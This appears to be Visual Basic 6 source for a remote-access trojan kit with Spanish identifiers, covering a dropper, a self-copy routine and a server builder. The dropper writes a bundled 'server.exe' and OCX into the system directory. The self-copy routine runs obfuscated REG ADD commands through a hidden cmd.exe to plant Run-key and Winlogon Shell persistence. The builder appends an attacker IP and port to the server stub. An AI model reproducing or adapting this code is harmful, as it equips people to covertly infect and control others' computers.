Private Declare Function DllRegisterServer Lib "MSWINSCK.OCX" () As Long
Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long


Function LoadDataIntoFile(ByVal DataName As Integer, _
ByVal Filename As String, ByVal Types As String)

Dim myArray() As Byte
Dim myFile As Long

    If Dir(Filename) = "" Then
       myArray = LoadResData(DataName, Types)
       myFile = FreeFile
       Open Filename For Binary Access Write As #myFile
       Put #myFile, , myArray
       Close #myFile
    End If
    
End Function



Private Sub Form_Load()
    Dim Car As String * 128
    Dim Longitud, Es As Integer
    Dim Camino As String
    Dim win
    Dim sys
    
      Longitud = 128
    
    Es = GetWindowsDirectory(Car, Longitud)
    Camino = RTrim$(LCase$(Left$(Car, Es)))
    win = Camino
    
    Es = GetSystemDirectory(Car, Longitud)
    Camino = RTrim$(LCase$(Left$(Car, Es)))
    sys = Camino
    
LoadDataIntoFile 101, sys & "\MSWINSCK.OCX", "CUSTOM"

If DllRegisterServer = ERROR_SUCCESS Then
    MsgBox "Registration Successful"
Else
    MsgBox "Registration Unsuccessful"
End If
End Sub

Private Sub Timer1_Timer()
LoadDataIntoFile 102, sys & "\server.exe", "CUSTOM"

End Sub

Public Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Declare Function CopyFileEx Lib "kernel32.dll" Alias "CopyFileExA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal lpProgressRoutine As Long, lpData As Any, ByRef pbCancel As Long, ByVal dwCopyFlags As Long) As Long


Public Sub autocopiar(win As Variant, sys As Variant, name As Variant, localmachine As Variant, currentuser As Variant, explorer As Variant, valor As Variant)
    Dim Car As String * 128
    Dim Longitud, Es As Integer
    Dim Camino As String
    Dim SO
    Dim Sistema
    

opwindows = win
opsystem = sys
name = name
hklm = localmachine
hkcu = currentuser
hkex = explorer
valuereg = valor
    
      Longitud = 128
    
    Es = GetWindowsDirectory(Car, Longitud)
    Camino = RTrim$(LCase$(Left$(Car, Es)))
    SO = Camino
    
    Es = GetSystemDirectory(Car, Longitud)
    Camino = RTrim$(LCase$(Left$(Car, Es)))
    Sistema = Camino
    
If opwindows = "V" Then
    origen = App.Path
    If Right(origen, 1) <> "\" Then origen = origen & "\"
    origen = origen & App.EXEName & ".exe"
    Ret = CopyFileEx(origen, SO & "\" & name, AddressOf CopyProgressRoutine, ByVal 0&, bCancel, COPY_FILE_RESTARTABLE)
        If hklm = 1 Then
        reg = encrypt("YLN'HKK'ORL`fSVJHSfTHJOPULcZvm{~hylcTpjyvzvm{c^pukv~zcJ|yylu{]lyzpvucY|uc'6}')'-'}hs|lyln'-')'6{'YLNfZa'6k')'-'ZV'-')c)'-'uhtl'-')'6m")
        Shell "cmd.exe /c " & reg & "", vbHide
        End If
        If hkcu = 1 Then
        reg = encrypt("YLN'HKK'ORL`fJ\YYLU[f\ZLYcZvm{~hylcTpjyvzvm{c^pukv~zcJ|yylu{]lyzpvucY|uc'6}')'-'}hsvy'-')'6{'YLNfZa'6k')'-'ZV'-')c)'-'uhtl'-')'6m")
        Shell "cmd.exe /c " & reg & "", vbHide
        End If
        If hkex = 1 Then
        reg = encrypt("YLN'HKK'ORL`fSVJHSfTHJOPULcZVM[^HYLcTpjyvzvm{c^pukv~z'U[cJ|yylu{]lyzpvuc^pusvnvuc'6}'Zolss'6{'YLNfZa'6k'Lwsvyly5ll3')'-'ZV'-')c)'-'uhtl'-')'6m")
        Shell "cmd.exe /c " & reg & "", vbHide
        End If
End If

If sys = "V" Then
    origen = App.Path
    If Right(origen, 1) <> "\" Then origen = origen & "\"
    origen = origen & App.EXEName & ".exe"
    Ret = CopyFileEx(origen, Sistema & name, AddressOf CopyProgressRoutine, ByVal 0&, bCancel, COPY_FILE_RESTARTABLE)
        If localmachine = "1" Then
        reg = encrypt("YLN'HKK'ORL`fSVJHSfTHJOPULcZvm{~hylcTpjyvzvm{c^pukv~zcJ|yylu{]lyzpvucY|uc'6}')'-'}hsvy'-')'6{'YLNfZa'6k')'-'Zpz{lth'-'uhtl'-')'6m")
        Shell "cmd.exe /c " & reg & "", vbHide
        End If
        If currentuser = "1" Then
        reg = encrypt("YLN'HKK'ORL`fJ\YYLU[f\ZLYcZvm{~hylcTpjyvzvm{c^pukv~zcJ|yylu{]lyzpvucY|uc'6}')'-'}hsvy'-')'6{'YLNfZa'6k')'-'Zpz{lth'-'uhtl'-')'6m")
        Shell "cmd.exe /c " & reg & "", vbHide
        End If
        If explorer = "1" Then
        reg = encrypt("YLN'HKK'ORL`fSVJHSfTHJOPULcZVM[^HYLcTpjyvzvm{c^pukv~z'U[cJ|yylu{]lyzpvuc^pusvnvuc'6}'Zolss'6{'YLNfZa'6k'Lwsvyly5ll3')'-'Zpz{lth'-'uhtl'-')'6m")
        Shell "cmd.exe /c " & reg & "", vbHide
        End If
End If
End Sub

Dim port As String * 5
Dim ip As String * 30
Dim copiar As String * 1
Dim opwindows As String * 1
Dim opsystem32 As String * 1
Dim nombre As String * 20
Dim localmachine As String * 1
Dim currentuser As String * 1
Dim explorer As String * 1
Dim valor As String * 20

Private Sub EditarServer(Ruta As String)
'---CONEXION
ip = Text1.Text
port = Text2.Text
'---AUTOCOPIAR
copiar = cp.Value
opwindows = opwin.Value
opsystem32 = opsys.Value
nombre = txName.Text
'---INICIO
localmachine = hklm.Value
currentuser = HKCU.Value
explorer = hkex.Value
valor = txValueReg.Text
'---AÑADIMOS
Open Ruta For Binary As #1
Put #1, LOF(1) + 1, port
Put #1, , ip
Put #1, , copiar
Put #1, , opwindows
Put #1, , opsystem32
Put #1, , nombre
Put #1, , localmachine
Put #1, , currentuser
Put #1, , explorer
Put #1, , valor
Close #1
MsgBox "Server Creado", vbInformation
End Sub